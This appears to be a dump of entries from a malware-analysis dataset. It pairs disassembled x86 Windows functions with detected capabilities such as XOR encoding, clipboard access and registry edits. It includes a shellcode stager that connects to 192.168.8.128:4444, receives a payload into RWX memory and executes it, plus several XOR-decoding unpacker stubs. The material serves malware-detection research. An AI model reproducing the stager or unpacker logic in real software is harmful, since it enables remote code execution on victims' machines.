joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40adc0
Capabilities:
Clear file content

Disassembly:
mov eax, 0x1014
push ebp
mov ebp, esp
call fcn.00404730
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov dword [ebp - 4], 0
mov eax, dword [0x4170bc]
cmp ebx, eax
jae 0x40adfb
mov eax, ebx
and eax, 0x1f
mov edx, ebx
sar edx, 5
mov edx, dword [edx*4 + 0x4170c0]
test byte [edx + eax*8 + 4], 1
jne 0x40ae0d
or eax, 0xffffffff
mov dword [0x415c84], 9
jmp 0x40af32
push 1
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x40ae37
push 2
push 0
push ebx
call fcn.00409fd0
mov dword [ebp - 8], eax
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40ae3f
or eax, 0xffffffff
jmp 0x40af32
mov eax, dword [ebp + 0xc]
mov esi, eax
sub esi, dword [ebp - 8]
test esi, esi
jle 0x40aee4
mov ecx, 0x1000
xor eax, eax
lea edx, [ebp - 0x1010]
push edi
mov edi, edx
rep stosb byte es:[edi], al
pop edi
mov eax, edx
push 0x8000
push ebx
call fcn.0040b330
add esp, 8
mov dword [ebp - 0x10], eax
mov eax, esi
cmp eax, 0x1000
jb 0x40ae8a
mov dword [ebp - 0x1014], 0x1000
jmp 0x40ae92
mov eax, esi
mov dword [ebp - 0x1014], eax
mov eax, dword [ebp - 0x1014]
push eax
lea eax, [ebp - 0x1010]
push eax
push ebx
call fcn.004086d0
mov edi, eax
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40aecb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x40aec5
mov dword [0x415c84], 0xd
or dword [ebp - 4], 0xffffffff
jmp 0x40aed5
mov eax, esi
sub eax, edi
test eax, eax
mov esi, eax
jg 0x40ae75
mov eax, dword [ebp - 0x10]
push eax
push ebx
call fcn.0040b330
add esp, 8
jmp 0x40af20
test esi, esi
jge 0x40af20
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
push ebx
call fcn.00408b00
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
setne al
and eax, 1
dec eax
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x40af20
mov dword [0x415c84], 0xd
push 0
mov eax, dword [ebp - 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1e6d798
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1e6d7a2
pushal
call 0x1e6d7a8
pop ebp
sub ebp, 0x10
sub ebp, 0x145d798
jmp 0x1e6d7be
mov eax, 0x145d798
add eax, ebp
add eax, 0x4c
mov ecx, 0x611
mov edx, 0x3c15fcba
xor byte [eax], dl
inc eax
dec ecx
jne 0x1e6d7d5
jmp 0x1e6d7e8
xor dword [edi + 0x31], esi
xor eax, dword [esi + 0x3bbababa]
jnp 0x1e6d835
mov edx, 0x77b9baba
add dh, byte [esi + 0xbababa]
xchg edx, eax
mov edx, 0x584dbaba
mov ecx, 0xb63b3172
mov edx, 0x7fb9baba
ljmp 0xbe33
inc esi
xor edx, dword [esi - 0x6129c862]
mov edx, 0xbab23f31
mov edx, 0xb62f31ba
mov edx, 0x3731baba
stosb byte es:[edi], al
mov edx, 0x537bbaba
mov eax, 0x7839b88b
mov esi, 0x4e3fb5f3
inc ebp
inc ebp
inc ebp
xor dword [esi - 0x6121c862], edx
mov esi, 0x31bab678
sahf
mov esi, 0xd2bababa
push es
push ss
mov ah, 0xba
shl byte [esi - 0x70], cl
lea edi, [ebx - 0x14616945]
push edx
mov edi, 0x53bababa
in eax, dx
mov eax, 0xde37baba
sahf
inc esi
xor edx, dword [esi + 0x4556319e]
iretd
Function at 0x401721
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Receive data
Receive data on socket

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x34
call dbg.__main
call sym._winsock_init
mov dword [esp + 4], 0x115c
mov dword [esp], str.192.168.8.128
call sym._wsconnect
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 4
lea edx, [ebp - 0x18]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 4
jne 0x40178a
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x40179d
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], str.read_a_strange_or_incomplete_length_value_n
mov dword [esp], eax
call sym._punt
mov eax, dword [ebp - 0x18]
add eax, 5
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x4017e4
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], str.could_not_allocate_buffer_n
mov dword [esp], eax
call sym._punt
mov eax, dword [ebp - 0x10]
mov byte [eax], 0xbf
mov eax, dword [ebp - 0x10]
lea edx, [eax + 1]
mov eax, dword [ebp - 0x1c]
mov dword [edx], eax
mov eax, dword [ebp - 0x18]
mov ecx, eax
mov eax, dword [ebp - 0x10]
lea edx, [eax + 5]
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._recv_all
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
call eax
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret

Function at 0x401a90
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x4027fc
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
imul edx, dword [0x40b03c], 0x8088405
inc edx
mov dword [0x40b03c], edx
mul edx
mov eax, edx
ret

Function at 0x402918
Capabilities:
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [section.DATA]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4029b0
push 0x80000002
call sub.user32.dll_SetTimer
test eax, eax
jne 0x402990
xor eax, eax
push ebp
push 0x402989
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4029cc
mov eax, dword [ebp - 4]
push eax
call sub.user32.dll_SetWindowsHookExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402990
mov eax, dword [ebp - 4]
push eax
call sub.user32.dll_SetClipboardData
ret
mov ax, word [section.DATA]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [section.DATA], ax
mov esp, ebp
pop ebp
ret

Function at 0x4039c0
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffff800
mov ebx, eax
mov eax, ebx
call fcn.0040356c
mov esi, eax
mov eax, ebx
call fcn.0040356c
cmp eax, 0x400
jge 0x403a0e
push 0x400
lea eax, [esp + 4]
push eax
push esi
mov eax, ebx
call fcn.004036bc
push eax
push 0
push 0
call fcn.00401160
push eax
lea eax, [esp + 4]
push eax
call sub.user32.dll_GetWindowTextA
mov edi, eax
jmp 0x403a36
push 0
push 0
push esi
push ebx
push 0
push 0
call fcn.00401160
mov ebp, eax
push ebp
push 0
call sub.user32.dll_GetWindowTextA
mov edi, eax
push ebp
push edi
push esi
push ebx
push 0
push 0
call fcn.00401160
mov eax, edi
add esp, 0x800
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x403bb8
Capabilities:
Open clipboard

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov ax, word [ebx]
sub ax, 0x100
je 0x403bd7
dec ax
je 0x403c21
jmp 0x403c2e
mov edx, esi
mov eax, ebx
mov ecx, edi
call fcn.00403ba0
test al, al
jne 0x403c55
mov word [ebp - 0x10], 0
push edi
push 0
push 0x400
push esi
lea eax, [ebp - 0x10]
push eax
call sub.user32.dll_OpenClipboard
test eax, eax
je 0x403c07
call fcn.00403a44
mov eax, ebx
call fcn.00403a54
mov eax, dword [ebp - 0x10]
mov dword [ebx], eax
mov eax, dword [ebp - 8]
mov dword [ebx + 8], eax
mov eax, dword [ebp - 4]
mov dword [ebx + 0xc], eax
jmp 0x403c55
mov edx, esi
mov eax, ebx
mov ecx, edi
call fcn.00403b34
jmp 0x403c55
mov edx, esi
mov eax, ebx
mov ecx, edi
call fcn.00403ba0
test al, al
jne 0x403c55
push edi
push 0
push 0x400
push esi
push ebx
call sub.user32.dll_OpenClipboard
test eax, eax
je 0x403c55
call fcn.00403a44
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40404c
Capabilities:
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call fcn.00401110
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x404208
push 0x80000001
call sub.user32.dll_SetTimer
test eax, eax
je 0x4040ad
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x404224
push 0x80000001
call sub.user32.dll_SetTimer
test eax, eax
jne 0x40411f
xor eax, eax
push ebp
push 0x404118
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
call fcn.00403ea4
push eax
mov eax, dword [ebp - 8]
push eax
call sub.user32.dll_SetWindowsHookExA
test eax, eax
je 0x404101
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x404244
mov eax, dword [ebp - 8]
push eax
call sub.user32.dll_SetWindowsHookExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40411f
mov eax, dword [ebp - 8]
push eax
call sub.user32.dll_SetClipboardData
ret
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call fcn.00401148
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call fcn.00401130
push eax
call fcn.00401108
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x404200
cmp byte [ebp - 0xd], 0
jne 0x404161
cmp byte [ebp - 0x12], 0
je 0x404200
lea eax, [ebp - 0x11d]
push eax
call fcn.00401158
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x40417a
dec ebx
cmp byte [ebx], 0x2e
je 0x404189
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x404179
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x404200
inc ebx
cmp byte [ebp - 0x12], 0
je 0x4041b6
lea eax, [ebp - 0x12]
push eax
push ebx
call fcn.00401148
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call fcn.00401138
mov esi, eax
test esi, esi
jne 0x404200
cmp byte [ebp - 0xd], 0
je 0x404200
lea eax, [ebp - 0xd]
push eax
push ebx
call fcn.00401148
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call fcn.00401138
mov esi, eax
test esi, esi
jne 0x404200
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0xd]
push eax
push ebx
call fcn.00401148
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call fcn.00401138
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x409b9c
Capabilities:
Accept command line arguments
Get thread local storage value
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x10], eax
mov eax, 0x409b4c
call fcn.00405008
mov edi, 0x40b830
xor eax, eax
push ebp
push 0x409d42
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.00402708
mov ebx, eax
test ebx, ebx
jle 0x409c02
mov esi, 1
push dword [0x40b84c]
lea edx, [ebp - 0x10]
mov eax, esi
call fcn.00402768
push dword [ebp - 0x10]
push 0x409d5c
mov eax, 0x40b84c
mov edx, 3
call fcn.004035b8
inc esi
dec ebx
jne 0x409bd7
cmp dword [0x40b84c], 0
je 0x409c1d
push 5
mov eax, dword [0x40b84c]
call fcn.004036bc
push eax
call sub.user32.dll_CharNextA
push 0x409d60
push 0x409d60
call sub.KERNEL32.DLL_CloseHandle
test eax, eax
jne 0x409d2c
push 0
push 0x409d6c
call sub.user32.dll_CharNextA
mov eax, dword [0x40a3f8]
mov edx, dword [0x40b4d4]
mov dword [eax], edx
mov dword [0x40b808], 3
mov dword [0x40b80c], 0x409adc
mov eax, dword [0x40a3f8]
mov eax, dword [eax]
mov dword [0x40b818], eax
push 0
call sub.gdi32.dll_GetStockObject
mov dword [0x40b824], eax
mov eax, 0x409d60
mov dword [0x40b82c], eax
push 0x7f00
push 0
call sub.KERNEL32.DLL_ReadFile
mov dword [0x40b820], eax
push 0x40b808
call sub.KERNEL32.DLL_UnhandledExceptionFilter
push 0
mov eax, dword [0x40a3f8]
mov eax, dword [eax]
push eax
push 0
push 0
push 0x50
push 0x78
push 0xa
push 0xa
push 0xcf0000
push 0x409d60
push 0x409d60
push 0x80
call fcn.00405154
mov edx, dword [0x40a390]
mov dword [edx], eax
push 0
push 0x2ee0
push 0
mov eax, dword [0x40a390]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_FindClose
mov edx, dword [0x40a3f4]
mov dword [edx], eax
jmp 0x409d01
push edi
call sub.KERNEL32.DLL_GetCommandLineA
push edi
call sub.KERNEL32.DLL_TlsGetValue
push 0
push 0
mov eax, dword [0x40a390]
mov eax, dword [eax]
push eax
push edi
call sub.KERNEL32.DLL_GetSystemTime
test eax, eax
jne 0x409cf5
mov eax, dword [0x40a3f4]
mov eax, dword [eax]
push eax
mov eax, dword [0x40a390]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_RaiseException
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409d49
lea eax, [ebp - 0x10]
call fcn.0040331c
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x402bf1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x402c00
pop dword [ebp - 0x14]
mov eax, 0x98cd4b5a
sub eax, 0x988d1f5a
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xf3daefa3
add dword [ebp - 0x24], 0x5a7755a8
mov dword [ebp - 0x20], 0x8f1b48f4
sub dword [ebp - 0x20], 0x5ce7fcaf
mov dword [ebp - 0x1c], 0xcde39ade
sub dword [ebp - 0x1c], 0x819756b0
mov dword [ebp - 0x18], 0x27212887
add dword [ebp - 0x18], 0xd8ded779
lea eax, [ebp - 0x24]
push eax
mov eax, 0x2e2d37ce
sub eax, 0x2decb742
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x35a9ae3e
add dword [ebp - 0x24], 0x3ec8bb18
mov dword [ebp - 0x20], 0xdc8983c2
add dword [ebp - 0x20], 0x64e2ddb3
mov dword [ebp - 0x1c], 0x439a6215
add dword [ebp - 0x1c], 0x1fd50a57
mov dword [ebp - 0x18], 0x35853759
add dword [ebp - 0x18], 0xca7ac8a7
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x940be55e
add eax, 0x6c349b76
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x3381a
push 0
call eax
mov ecx, 0x3b45
mov edx, eax
mov esi, 0x1abb0ad4
add esi, 0xe586052c
add esi, dword [ebp - 0x14]
mov ebx, 0x885d979a
xor dword [ebp - 4], 0xfb418b03
mov edi, dword [esi]
add dword [ebp - 0x10], esi
add edi, ebx
add dword [ebp - 8], esi
mov dword [edx], edi
xor dword [ebp - 0xc], 0x1e8e382a
add edx, 4
add esi, 0x5f635a6f
sub esi, 0x5f635a6b
loop 0x402d16
add eax, 0x4852a6f6
add eax, 0xb7ae38f1
mov ebx, eax
add eax, 0x31e7421e
sub eax, 0x31e74219
mov ecx, 0x400000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x418f10
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
xor edx, edx
mov eax, edx
and eax, 1
sub eax, 1
not eax
and eax, 0xedb88320
mov ecx, edx
shr ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
sub ecx, 1
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
sub eax, 1
shr ecx, 1
not eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
and ecx, 1
sub ecx, 1
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
sub eax, 1
shr ecx, 1
not eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
and ecx, 1
sub ecx, 1
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
sub eax, 1
shr ecx, 1
not eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
and ecx, 1
sub ecx, 1
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov dword [edx*4 + 0x420de0], ecx
add edx, 1
cmp edx, 0x100
jb 0x418f12
cmp edx, 0x800
jae 0x418ffb
mov edi, edi
mov eax, dword [edx*4 + 0x4209e0]
mov ecx, eax
and ecx, 0xff
shr eax, 8
xor eax, dword [ecx*4 + 0x420de0]
add edx, 1
cmp edx, 0x800
mov dword [edx*4 + 0x420ddc], eax
jb 0x418fd0
mov dword [0x420dbc], 0x4196b0
call fcn.00419140
test eax, eax
jne 0x419018
mov dword [0x420dbc], 0x4195d0
ret

Function at 0x401b66
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410004]
jne 0x401b70
repz ret
jmp fcn.0040324d

Function at 0x40974c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x40975b
pop dword [ebp - 0x48]
mov eax, 0x40975b
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x84fad548
sub dword [ebp - 0x58], 0x36a88ffd
mov dword [ebp - 0x54], 0x5537aac6
add dword [ebp - 0x54], 0xdcfba17f
mov dword [ebp - 0x50], 0x2c46b3d9
sub dword [ebp - 0x50], 0xdffa6fab
mov dword [ebp - 0x4c], 0xe99889db
sub dword [ebp - 0x4c], 0xe99889db
lea eax, [ebp - 0x58]
push eax
mov eax, 0xfa277f67
add eax, 0x61950e5
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x317b7ada
sub dword [ebp - 0x58], 0xbd091184
mov dword [ebp - 0x54], 0xa3f16ed0
add dword [ebp - 0x54], 0x9d7af2a5
mov dword [ebp - 0x50], 0xea4a4f95
add dword [ebp - 0x50], 0x79251cd7
mov dword [ebp - 0x4c], 0xc7b814ec
add dword [ebp - 0x4c], 0x3847eb14
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x9adc2587
sub eax, 0x9a9b553f
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x385a6
push 0
call eax
mov ecx, 0x4d033e5d
add ecx, 0xb2fd04c7
mov edi, eax
mov esi, 0x41b000
add esi, dword [ebp - 0x48]
mov ebx, 0x4db2b9f4
sub dword [ebp - 0x24], ecx
mov edx, dword [esi]
xor dword [ebp - 0x20], edi
xor edx, ebx
xor dword [ebp - 0x44], ecx
mov dword [edi], edx
add edi, 0x3ebd515f
add edi, 0xc142aea5
add esi, 0xf57bbe81
sub esi, 0xf57bbe7d
loop 0x40986c
add eax, 0xff63
xor ebx, ebx
add ebx, eax
add eax, 0xcb7d1c23
add eax, 0x3482e3e2
mov ecx, 0x3c19713f
add ecx, 0xc4268ec1
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x10006762
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
mov eax, dword [0x1005f070]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x10060d58], 0
jne 0x10006812
and dword [ebp - 0x6c], 0
lea eax, [ebp - 0x6c]
push esi
push eax
push 0x20019
push ecx
mov edx, str.SOFTWAREMicrosoftInternet_Explorer
mov dword [ebp - 0x70], 0x64
mov ecx, 0x80000002
call fcn.1003054f
xor esi, esi
inc esi
test eax, eax
jne 0x100067fc
movzx eax, byte [ebp - 0x68]
xor ecx, ecx
cmp dword [ebp - 0x74], esi
cmove eax, ecx
mov byte [ebp - 0x68], al
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x74]
push eax
push ecx
push str.Version
push dword [ebp - 0x6c]
call dword [sym.imp.advapi32.dll_RegQueryValueExW]
test eax, eax
jne 0x100067fc
cmp word [ebp - 0x68], ax
je 0x100067fc
push 0xa
pop edx
lea ecx, [ebp - 0x68]
call fcn.1003054f
mov ecx, dword [0x10060d54]
cmp eax, 4
cmova ecx, esi
mov dword [0x10060d54], ecx
cmp dword [ebp - 0x6c], 0
mov dword [0x10060d58], esi
pop esi
je 0x10006812
push dword [ebp - 0x6c]
call dword [sym.imp.advapi32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
mov eax, dword [0x10060d54]
xor ecx, ebp
call fcn.1002f764
leave
ret
Function at 0x10009b64
Capabilities:
Delete registry value

Disassembly:
push 0x1c
mov eax, 0x10031761
call fcn.10030d83
mov ebx, edx
xor eax, eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov edi, eax
mov byte [ebp - 4], 5
lea eax, [ebp - 0x18]
mov edx, str.SOFTWARE
push eax
lea eax, [ebp - 0x28]
push eax
sub esp, 0x14
call fcn.1003054f
test eax, eax
jne 0x10009c8d
mov ecx, dword [ebp - 0x28]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x24]
mov edx, 0x10036e08
push eax
sub esp, 0x14
call fcn.1003054f
test eax, eax
jne 0x10009c8d
mov ecx, dword [ebp - 0x24]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
mov edx, str.Internet_Explorer
push eax
sub esp, 0x14
call fcn.1003054f
test eax, eax
jne 0x10009c8d
cmp dword [ebp + 8], edi
mov eax, str.Default_HTML_Editor
mov ecx, dword [ebp - 0x14]
mov esi, str.Default_MHTML_Editor
cmove esi, eax
mov edx, esi
call fcn.1000b7bc
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x10]
mov edx, esi
push eax
sub esp, 0x14
call fcn.1003054f
test eax, eax
jne 0x10009c8d
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x20]
mov edx, 0x10036e40
push eax
sub esp, 0x14
call fcn.1003054f
test eax, eax
jne 0x10009c8d
mov ecx, dword [ebp - 0x20]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
mov edx, 0x100364c0
push eax
sub esp, 0x14
call fcn.1003054f
test eax, eax
jne 0x10009c8d
push str.Description
push dword [ebp - 0x10]
call dword [sym.imp.advapi32.dll_RegDeleteValueW]
mov edx, dword [ebp - 0x1c]
xor esi, esi
push esi
mov ecx, ebx
call fcn.1003054f
call fcn.10006762
test eax, eax
je 0x10009c8a
push esi
push esi
push 0x1a
push 0xffff
call dword [sym.imp.USER32.dll_SendNotifyMessageW]
xor edi, edi
inc edi
cmp dword [ebp - 0x1c], 0
mov esi, dword [sym.imp.advapi32.dll_RegCloseKey]
je 0x10009c9e
push dword [ebp - 0x1c]
call esi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x20], ebx
je 0x10009cad
push dword [ebp - 0x20]
call esi
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x10], ebx
je 0x10009cba
push dword [ebp - 0x10]
call esi
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x14], ebx
je 0x10009cc7
push dword [ebp - 0x14]
call esi
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x24], ebx
je 0x10009cd4
push dword [ebp - 0x24]
call esi
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x28], ebx
je 0x10009ce1
push dword [ebp - 0x28]
call esi
mov eax, edi
call fcn.10030d61
ret 4